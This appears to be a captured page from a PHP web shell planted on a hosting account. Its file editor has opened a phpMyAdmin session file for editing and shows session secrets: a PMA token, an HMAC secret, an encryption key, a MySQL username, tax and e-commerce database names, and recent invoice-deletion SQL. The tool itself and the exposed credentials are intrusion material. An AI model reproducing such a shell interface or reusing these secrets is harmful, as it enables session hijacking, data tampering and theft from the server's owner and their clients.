

<div style='background:#0a0a0a; color:#00ff41; font-family:monospace; padding:20px; max-width:900px; margin:20px auto; border:1px solid #00ff41;'><h2 style='color:#ffcc80;'>✏ EDIT: sess_86465e3f4ae03d4c450c70d81c82bfab</h2><form method='post' action='?opcion=editar_guardar'><textarea name='contenido' rows='20' style='width:100%; background:#1a1a1a; color:#00ff41; border:1px solid #00ff41; font-family:monospace; padding:10px;'> PMA_token |s:32:&quot;4a3474765c237e59286c767945654771&quot;; HMAC_secret |s:16:&quot;lz*Dw3~jBP{DCbmy&quot;;auth_type|s:3:&quot;env&quot;;browser_access_time|a:2:{s:7:&quot;default&quot;;i:1755436000;s:36:&quot;4d4780e8-0c1f-f54a-8e07-14eb04b1c156&quot;;i:1755452734;}encryption_key|s:32:&quot;�� ��bo-���uHɂ�ٮ�E�o��,��(�&quot;;relation|a:1:{i:1;a:41:{s:7:&quot;version&quot;;s:5:&quot;5.2.2&quot;;s:4:&quot;user&quot;;N;s:2:&quot;db&quot;;N;s:8:&quot;bookmark&quot;;N;s:15:&quot;central_columns&quot;;N;s:11:&quot;column_info&quot;;N;s:17:&quot;designer_settings&quot;;N;s:16:&quot;export_templates&quot;;N;s:8:&quot;favorite&quot;;N;s:7:&quot;history&quot;;N;s:16:&quot;navigationhiding&quot;;N;s:9:&quot;pdf_pages&quot;;N;s:6:&quot;recent&quot;;N;s:8:&quot;relation&quot;;N;s:13:&quot;savedsearches&quot;;N;s:12:&quot;table_coords&quot;;N;s:10:&quot;table_info&quot;;N;s:13:&quot;table_uiprefs&quot;;N;s:8:&quot;tracking&quot;;N;s:10:&quot;userconfig&quot;;N;s:10:&quot;usergroups&quot;;N;s:5:&quot;users&quot;;N;s:12:&quot;bookmarkwork&quot;;b:0;s:8:&quot;mimework&quot;;b:0;s:18:&quot;centralcolumnswork&quot;;b:0;s:8:&quot;commwork&quot;;b:0;s:9:&quot;menuswork&quot;;b:0;s:20:&quot;designersettingswork&quot;;b:0;s:11:&quot;displaywork&quot;;b:0;s:19:&quot;exporttemplateswork&quot;;b:0;s:12:&quot;favoritework&quot;;b:0;s:7:&quot;navwork&quot;;b:0;s:7:&quot;pdfwork&quot;;b:0;s:10:&quot;recentwork&quot;;b:0;s:7:&quot;relwork&quot;;b:0;s:17:&quot;savedsearcheswork&quot;;b:0;s:11:&quot;historywork&quot;;b:0;s:12:&quot;trackingwork&quot;;b:0;s:11:&quot;uiprefswork&quot;;b:0;s:14:&quot;userconfigwork&quot;;b:0;s:8:&quot;allworks&quot;;b:0;}}userconfig|a:2:{s:2:&quot;db&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:12:&quot;Console/Mode&quot;;s:8:&quot;collapse&quot;;}s:2:&quot;ts&quot;;i:1755435995;}two_factor_check|b:1;cache|a:2:{s:8:&quot;server_1&quot;;a:4:{s:15:&quot;userprefs_mtime&quot;;i:1755435995;s:14:&quot;userprefs_type&quot;;s:7:&quot;session&quot;;s:12:&quot;config_mtime&quot;;i:1754420662;s:9:&quot;userprefs&quot;;a:2:{s:4:&quot;lang&quot;;s:5:&quot;en_GB&quot;;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}}}s:25:&quot;server_1_cpses_qbea20602w&quot;;a:16:{s:17:&quot;is_create_db_priv&quot;;b:0;s:14:&quot;is_reload_priv&quot;;b:0;s:12:&quot;db_to_create&quot;;s:0:&quot;&quot;;s:30:&quot;dbs_where_create_table_allowed&quot;;a:4:{i:0;s:25:&quot;qbfdcvcb\_site-management&quot;;i:1;s:23:&quot;qbfdcvcb\_securetax\_db&quot;;i:2;s:17:&quot;qbfdcvcb\_bagisto&quot;;i:3;s:15:&quot;qbfdcvcb\_teats&quot;;}s:11:&quot;dbs_to_test&quot;;b:0;s:9:&quot;proc_priv&quot;;b:0;s:10:&quot;table_priv&quot;;b:0;s:8:&quot;col_priv&quot;;b:0;s:7:&quot;db_priv&quot;;b:0;s:11:&quot;binary_logs&quot;;a:0:{}s:18:&quot;menu-levels-server&quot;;a:13:{s:9:&quot;databases&quot;;s:9:&quot;Databases&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;status&quot;;s:6:&quot;Status&quot;;s:6:&quot;rights&quot;;s:5:&quot;Users&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:8:&quot;settings&quot;;s:8:&quot;Settings&quot;;s:6:&quot;binlog&quot;;s:10:&quot;Binary log&quot;;s:11:&quot;replication&quot;;s:11:&quot;Replication&quot;;s:4:&quot;vars&quot;;s:9:&quot;Variables&quot;;s:7:&quot;charset&quot;;s:8:&quot;Charsets&quot;;s:7:&quot;plugins&quot;;s:8:&quot;Plug-ins&quot;;s:6:&quot;engine&quot;;s:7:&quot;Engines&quot;;}s:14:&quot;menu-levels-db&quot;;a:14:{s:9:&quot;structure&quot;;s:9:&quot;Structure&quot;;s:3:&quot;sql&quot;;s:3:&quot;SQL&quot;;s:6:&quot;search&quot;;s:6:&quot;Search&quot;;s:5:&quot;query&quot;;s:5:&quot;Query&quot;;s:6:&quot;export&quot;;s:6:&quot;Export&quot;;s:6:&quot;import&quot;;s:6:&quot;Import&quot;;s:9:&quot;operation&quot;;s:10:&quot;Operations&quot;;s:10:&quot;privileges&quot;;s:10:&quot;Privileges&quot;;s:8:&quot;routines&quot;;s:8:&quot;Routines&quot;;s:6:&quot;events&quot;;s:6:&quot;Events&quot;;s:8:&quot;triggers&quot;;s:8:&quot;Triggers&quot;;s:8:&quot;tracking&quot;;s:8:&quot;Tracking&quot;;s:8:&quot;designer&quot;;s:8:&quot;Designer&quot;;s:15:&quot;central_columns&quot;;s:15:&quot;Central columns&quot;;}s:12:&quot;is_superuser&quot;;b:0;s:14:&quot;mysql_cur_user&quot;;s:26:&quot;cpses_qbea20602w@localhost&quot;;s:12:&quot;is_grantuser&quot;;b:0;s:13:&quot;is_createuser&quot;;b:0;}}tmpval|a:14:{s:14:&quot;favoriteTables&quot;;a:1:{i:1;a:0:{}}s:12:&quot;recentTables&quot;;a:1:{i:1;a:0:{}}s:18:&quot;table_limit_offset&quot;;i:0;s:21:&quot;table_limit_offset_db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;query&quot;;a:5:{s:32:&quot;8e20f446c7183e831162267de927412d&quot;;a:8:{s:3:&quot;sql&quot;;s:174:&quot;-- 1) Create a list of invoices to keep (newest per client+year)
CREATE TEMPORARY TABLE inv_keep
SELECT  MAX(i.id) AS id
FROM invoices i
GROUP BY i.client_id, i.tax_year;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;3ac24b1b1771cea8f432c62a93ce8816&quot;;a:8:{s:3:&quot;sql&quot;;s:185:&quot;-- 2) Delete items that belong to duplicate invoices
DELETE ii
FROM invoice_items ii
JOIN invoices i ON i.id = ii.invoice_id
LEFT JOIN inv_keep k ON k.id = i.id
WHERE k.id IS NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;4ca2778445a91631e622405916042b2b&quot;;a:8:{s:3:&quot;sql&quot;;s:131:&quot;-- 3) Delete the duplicate invoices themselves
DELETE i
FROM invoices i
LEFT JOIN inv_keep k ON k.id = i.id
WHERE k.id IS NULL;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;ab45dedb736b59a1ae014b1c4a9576d2&quot;;a:8:{s:3:&quot;sql&quot;;s:30:&quot;DROP TEMPORARY TABLE inv_keep;&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}s:32:&quot;aa806af8c2b20665c3128c4c3dbea7ce&quot;;a:8:{s:3:&quot;sql&quot;;s:80:&quot;ALTER TABLE invoices
ADD UNIQUE KEY uniq_client_tax_year (client_id, tax_year);&quot;;s:12:&quot;repeat_cells&quot;;i:100;s:8:&quot;max_rows&quot;;i:25;s:3:&quot;pos&quot;;i:0;s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;}}s:6:&quot;pftext&quot;;s:1:&quot;P&quot;;s:18:&quot;relational_display&quot;;s:1:&quot;K&quot;;s:9:&quot;geoOption&quot;;s:4:&quot;GEOM&quot;;s:14:&quot;display_binary&quot;;b:1;s:12:&quot;display_blob&quot;;b:0;s:19:&quot;hide_transformation&quot;;b:0;s:3:&quot;pos&quot;;i:0;s:8:&quot;max_rows&quot;;i:25;s:12:&quot;repeat_cells&quot;;i:100;}git_location|N;is_git_revision|b:0;ConfigFile1|a:4:{s:28:&quot;PmaNoRelation_DisableWarning&quot;;b:1;s:12:&quot;ShowCreateDb&quot;;b:0;s:7:&quot;Console&quot;;a:1:{s:4:&quot;Mode&quot;;s:8:&quot;collapse&quot;;}s:7:&quot;Servers&quot;;a:1:{i:1;a:2:{s:7:&quot;only_db&quot;;s:0:&quot;&quot;;s:7:&quot;hide_db&quot;;s:0:&quot;&quot;;}}}debug|a:0:{}flashMessages|a:0:{}Import_message|a:2:{s:7:&quot;message&quot;;N;s:11:&quot;go_back_url&quot;;s:60:&quot;index.php?route=/database/structure&amp;db=qbfdcvcb_securetax_db&quot;;}is_multi_query|b:1;sql_from_query_box|b:1;sql_history|a:2:{i:0;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:30:&quot;DROP TEMPORARY TABLE inv_keep;&quot;;}i:1;a:3:{s:2:&quot;db&quot;;s:21:&quot;qbfdcvcb_securetax_db&quot;;s:5:&quot;table&quot;;s:0:&quot;&quot;;s:8:&quot;sqlquery&quot;;s:80:&quot;ALTER TABLE invoices
ADD UNIQUE KEY uniq_client_tax_year (client_id, tax_year);&quot;;}}errors|a:0:{}</textarea><br><br><input type='hidden' name='archivo_editar' value='/home/qbfdcvcb/tmp/sess_86465e3f4ae03d4c450c70d81c82bfab'><input type='submit' value='[✓] SAVE' style='background:#00ff41; color:#0a0a0a; border:none; padding:10px 30px; font-family:monospace; cursor:pointer;'> <a href='?path=%2Fhome%2Fqbfdcvcb%2Ftmp' style='color:#858585; text-decoration:none; padding:10px 30px; border:1px solid #858585;'>[✗] CANCEL</a></form></div><div style='color:#00ff41; font-family:monospace; text-align:center; padding:20px;'>[~] Kerym Chaeceran</div>